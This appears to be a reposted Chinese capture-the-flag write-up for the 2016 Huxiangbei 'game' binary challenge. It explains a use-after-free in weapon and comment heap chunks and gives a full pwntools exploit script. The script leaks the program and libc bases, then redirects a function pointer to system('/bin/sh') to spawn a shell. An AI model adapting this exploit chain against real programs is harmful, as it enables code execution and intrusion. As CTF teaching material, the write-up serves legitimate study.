uaf-湖湘杯2016game_学习
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了uaf-湖湘杯2016game_学习相关的知识,希望对你有一定的参考价值。
0x00 分析程序
根据分析,我们可以得到以下重要数据结构
0x01 发现漏洞
1.在武器使用次数耗光后,程序会把存储该武器的堆块free,在free的时候没有清空指针,造成悬挂指针
2.comment存储在一个大小和武器块一样的堆块中,我们武器释放后再执行commit函数,那么武器堆块和comment堆块是同一块堆块
0x02 漏洞利用
1.在comment函数中向堆块中写入16字节的ascii码,再利用show_weapon函数把武器数据结构中的attack函数地址泄露出来,由此可以计算得到程序基址
2.利用程序基址计算出printf地址,再将printf函数写到attack函数处,再调用attack函数(相当于调用printf函数)把memset函数地址打印出来,由此可以计算出libc基址
3.得到了libc基址,就可以根据libc.so库算出system_addr,再利用comment将system函数写到attack函数处,在堆块中写入‘/bin/sh’,调用attack函数便可得到shell.
0x03 exp
from pwn import * t = process(\'./game\') libc = ELF(\'./libc.so\') context.log_level = "debug" def warehouse(count): t.recvuntil(\'$\') t.sendline(\'build_warehouse\') t.recvuntil(\'want have?\\n\') t.sendline(str(count)) def buy(name, tid): t.recvuntil(\'$\') t.sendline(\'buy_weapon\') t.recvuntil(\'buy?\\n\') t.sendline(name) t.recvuntil(\'weapon?\\n\') t.sendline(str(tid)) def show(tid): t.recvuntil(\'$\') t.sendline(\'show_weapon\') t.recvuntil(\'warehouse\\n\') t.sendline(str(tid)) def attack(tid): t.recvuntil(\'$\') t.sendline(\'attack_boss\') t.recvuntil(\'warehouse\\n\') t.sendline(str(tid)) def comment(co_buff): t.recvuntil(\'$\') t.sendline(\'comment\') t.recvuntil(\'?\\n\') t.send(co_buff) def leak_addr(addr,printf_plt): co_buff = \'\' co_buff += \'%%%d$s.\' % (7) co_buff = co_buff.ljust(16, \'\\x00\') co_buff += p32(printf_plt) co_buff += \'\\n\' comment(co_buff) show(0) t.sendline(\'attack_boss\') t.recvuntil(\'warehouse\\n\') payload = \'\' payload += \'0\'* 0x04 payload += p32(addr) t.sendline(payload) data = t.recv(4) back_addr = u32(data[:4]) return back_addr def main(): t.recvuntil(\'name?\\n\') t.sendline(\'xt\') warehouse(3) buy(\'UMP45\', 0) attack(0) attack(0) attack(0) show(0) co_buff = \'\' co_buff += \'d\' * 0x16 + \'\\n\' comment(co_buff) show(0) t.recvuntil(\'Weapon name: \') t.recv(16) data = t.recvuntil(\'price:\')[:-7] addr = u32(data[:4].ljust(4, \'\\x00\')) proc_addr = addr - 0x1287 success(\'proc_addr:\' + hex(proc_addr)) memset_got = 0x00002154 + proc_addr printf_plt = 0x00000710 + proc_addr memset_addr = leak_addr(memset_got,printf_plt) offset_memset = libc.symbols[\'memset\'] offset_system = libc.symbols[\'system\'] libc_base = memset_addr - offset_memset system_addr = libc_base + offset_system success(\'libc_base:\' + hex(libc_base)) success(\'system_addr:\' + hex(system_addr)) co_buff = "" co_buff += "/bin/sh;" co_buff = co_buff.ljust(16, \'\\x00\') co_buff += p32(system_addr) co_buff += "\\n" comment(co_buff) t.sendline("attack_boss") t.recvuntil("warehouse\\n") payload = "" payload += "0" t.sendline(payload) t.interactive() if __name__ == \'__main__\': main()
以上是关于uaf-湖湘杯2016game_学习的主要内容,如果未能解决你的问题,请参考以下文章